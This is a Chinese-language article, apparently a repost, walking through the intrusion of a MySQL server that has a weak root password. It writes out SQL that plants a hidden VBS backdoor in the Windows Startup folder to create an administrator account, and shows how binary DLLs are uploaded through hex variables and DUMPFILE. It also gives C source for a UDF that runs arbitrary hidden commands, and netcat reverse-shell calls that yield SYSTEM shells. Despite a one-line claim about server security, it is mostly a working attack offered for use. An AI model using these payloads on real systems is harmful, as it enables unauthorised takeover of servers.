Home  >  Article  >  Database  >  mysql 弱口令攻击过程详细

mysql 弱口令攻击过程详细

WBOY
WBOYOriginal
2016-06-07 17:51:424192browse

下面我们只讲术了入库过程,关于如何写vbs这段我己去了,因是为教程也是告诉各位朋友如何来做好朋友器安全了,有需了解的朋友可以参考一下。

1. 连接到对方MYSQL 服务器 -u root -h 192.168.0.1mysql.exe 这个程序在你安装了MYSQL的的BIN目录中

2. 让我们来看看服务器中有些什么mysql >show databases;MYSQL默认安装时会有MYSQL、TEST这两个数据库,如果你看到有其它的数据库那么就是用户自建的数据库。

3. 让我们进入数据库mysql >use test;我们将会进入test数据库中

4. 查看我们进入数据库中有些什么数据表mysql >show tables;默认的情况下,test中没有任何表的存在。

以下为关键的部分
5. 在TEST数据库下创建一个新的表;mysql >create table a (cmd text);好了,我们创建了一个新的表,表名为a,表中只存放一个字段,字段名为cmd,为text文本。

6. 在表中插入内容

引用

 代码如下 复制代码

mysql >insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );
mysql >insert into a values ("a=wshshell.run (""cmd.exe /c net user 1 1/add"",0) " );
mysql >insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators 1 /add"",0) " );


注意双引号和括号以及后面的"0"一定要输入!我们将用这三条命令来建立一个VBS的脚本程序!

7. 好了,现在我们来看看表a中有些什么mysql > * from a;我们将会看到表中有三行数据,就是我们刚刚输入的内容,确认你输入的内容无误后,我们来到下一步

8. 输出表为一个VBS的脚本文件mysql >select * from a into outfile "c:\docume~1\alluse~1\「开始」菜单\程序\启动\a.vbs";我们把我们表中的内容输入到启动组中,是一个VBS 的脚本文件!注意" "符号。

9. 看到这大家肯定知道了,就是利用MYSQL输出一个可执行的文件而已。为什么不用BAT呢,因为启动运行时会有明显的DOS窗口出来,而用VBS脚本则可以完全隐藏窗口且不会有错误提示!本来,应该还有一句完成脚本后自动删除此脚本的,但是中文目录实在无法处理,只有作罢!好了,找个工具攻击135让服务器重启吧

下面看网友操作


下面,我们先说如何生成二进制文件得上传脚本。看看这段mysql脚本代码(网友Mix用的方法):
 

 代码如下 复制代码
 set @a = concat('',0x0123abc1312389…..);
  set @a = concat(@a,0x4658978abc545e……);
  ………………….
  create table Mix(data LONGBLOB);//建表Mix,字段为data,类型为longblob
  insert into Mix values("");update Mix set data = @a;//@a插入表Mix
  select data from Mix into DUMPFILE 'C:\Winnt\文件名';//导出表中内容为文件

  前两句很熟悉把,这个就是我们以前注入的时候,绕过’的解决办法,把代码的16进制数声明给一个变量,然后导入这个变量就行了。只不过这里,因为16进制代码是一个文件的内容,代码太长了,所以就用了concat函数不断把上次得代码类加起来,这样不断累计到一个变量a中。后面几句就很简单了,我都有注释。

脚本生成了,如何上传?先登陆mysql服务器:
 

 代码如下 复制代码
 C:>mysql –u root –h hostip –p
  Mysql>use mysql; //先进入mysql默认得数据库,否则你下一步的表将不知道属于哪个库
  Mysql>. E:*.dll.txt; //这儿就是你生成的mysql脚本
  按照上面输入命令,就可以看见屏幕文字飞快闪烁(当然网速要快啦),不一会你的文件旧上传完毕了!
  下面到达我们的重点,我们上传什么dll文件?就目前我再网上看到的有两个已经写好的dll文件,一个是Mix写得mix.dll,一个是envymask写得my_udf.dll,这两个我都用过,都很不错,但是都也有点不足。先来看看具体的使用过程吧!
  先用mix.dll:
  登陆mysql,输入命令:
  Mysql> . e:mix.dll.txt;
  Mysql> Create FUNCTION Mixconnect RETURNS STRING SONAME 'C:\windows\mix.dll';
  //这儿的注册的Mixconnect就是在我们dll文件中实现的函数,我们将要用他执行系统命令!
  Mysql> select Mixconnect('你的ip','8080'); //填写你的反弹ip和端口

  过一会儿,你监听8080端口的nc,就会得到一个系统权限的shell了!如图1:
  这个的确不错,通过反弹得到得shell可以传过一些防火墙,可惜的是,它的这个函数没有写得很好,只能执行一次,当你第二次连接数据库后,再次运行“select Mixconnect('你的ip','8080');”的时候,对方的mysql会当掉!报错,然后服务停止!
  所以,使用mix.dll你只有一次成功,没有再来一次的机会!另外根据我的测试,他对Win2003的系统好像不起作用。
 

 代码如下 复制代码
 再用my_udf.dll:
  Mysql>. C:my_udf.dll.txt
  Mysql> Create FUNCTION my_udfdoor RETURNS STRING SONAME 'C:\winnt\my_udf.dll';
  //同样地,my_udfdoor也是我们注册后,用来执行系统命令得函数
  Mysql> select my_udfdoor('’); //这儿可以随便写my_udfdoor得参数,相当于我们只是要激活这个函数
  好了,现在你可以不用关这个shell了,我们再开一个cmd,使用:
  D:>nc hostip 3306
  *

  4.0.*-nt x$Eo~MCG f**k //看到这个后,输入“f**k” ,他是my_udfdoor默认密码,自己无法更改
  过一会儿,你就有了系统权限的shell了,
  由于他是hook recv版,所以穿墙的能力很强,我是在上一个mix.dll反弹失败的情况下,才使用这个得,他果然不负所望!进系统后,发现它有双网卡,天网防火墙个人版V2.73,对外仅仅开放3306端口,由此可见,my_udf.dll确实有很强的穿透防火墙得能力!但是他也有一个bug,就是再我们连接激活这个函数后(就是使用了命令“select my_udfdoor('’);”后),不管你是否连接,只要执行了:
  Mysql>drop function my_udfdoor; 后,mysql也汇报错,然后挂掉,
  所以,你使用这个dll文件无法删除你的痕迹!
  最后,然我们自己写一个自定义的dll文件。看能不能解决问题。
  我们仅仅使用mysql 得udf的示例作模版即可!看他的示例:
  

 代码如下 复制代码
#i nclude
  #i nclude
  #i nclude
  extern "C" {
  char *my_name(UDF_INIT *initid, UDF_ARGS *args, char *is_null,
  char *error);
  // 兼容C
  }
  char *my_name(UDF_INIT *initid, UDF_ARGS *args, char *is_null,
  char *error)
  {
  char * me = "my name";
  return me;
  // 调用此UDF将返回 my name
  }

  十分简单吧?好,我们只需要稍微改一下就可以有了自己的dll文件了:
  下面是我的一个哥们Crackme是修改的:
  

 代码如下 复制代码
#i nclude
  #i nclude
  #i nclude "mysql.h"
  extern "C" __declspec(dllexport)char *sys_name(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error);// sys_name就是函数名,你可以任意修改
  __declspec(dllexport) char *sys_name(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error) //当然这儿的sys_name也得改!
  {
  char me[256] = {0};
  if (args->arg_count == 1){
  strncpy(me,args->args[0],args->lengths[0]);
  me[args->lengths[0]]='\0';
  WinExec(me,SW_HIDE); //就是用它来执行任意命令
  }else
  strcpy(me,"do nonthing.n");
  return me;
  }
  

好,我们编译成sysudf.dll文件就可以了!我们来用他实验一把!
  看操作:
 

 代码如下 复制代码
 Mysql>. C:sysudf.dll.txt
  Mysql>Create function sys_name returns string soname 'C:\windows\sysudf.dll';
  Mysql>. Nc.exe.txt //把nc.exe也上传上去
  Mysql>select sys_name('nc.exe -e cmd.exe 我的ip 8080');
  //sys_name参数只有一个,参数指定要执行的系统命令
  

好,看看在Win2003中的一个反弹shell了,
  当然,我们你也可以不反弹shell了,而去执行其他命令,只不过不论是否执行成功,都没有回显,所以要保证命令格式正确。对于这个dll文件,经过测试,不论何时“drop function sys_name;”,都是不会报错的,同时也可以多次运行不同命令。至于他的缺点,就是他的穿墙能力跟Mix.dll一样不算太强,但对于实在穿不透的墙,直接运行其他命令就是最好的选择了

Statement:
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn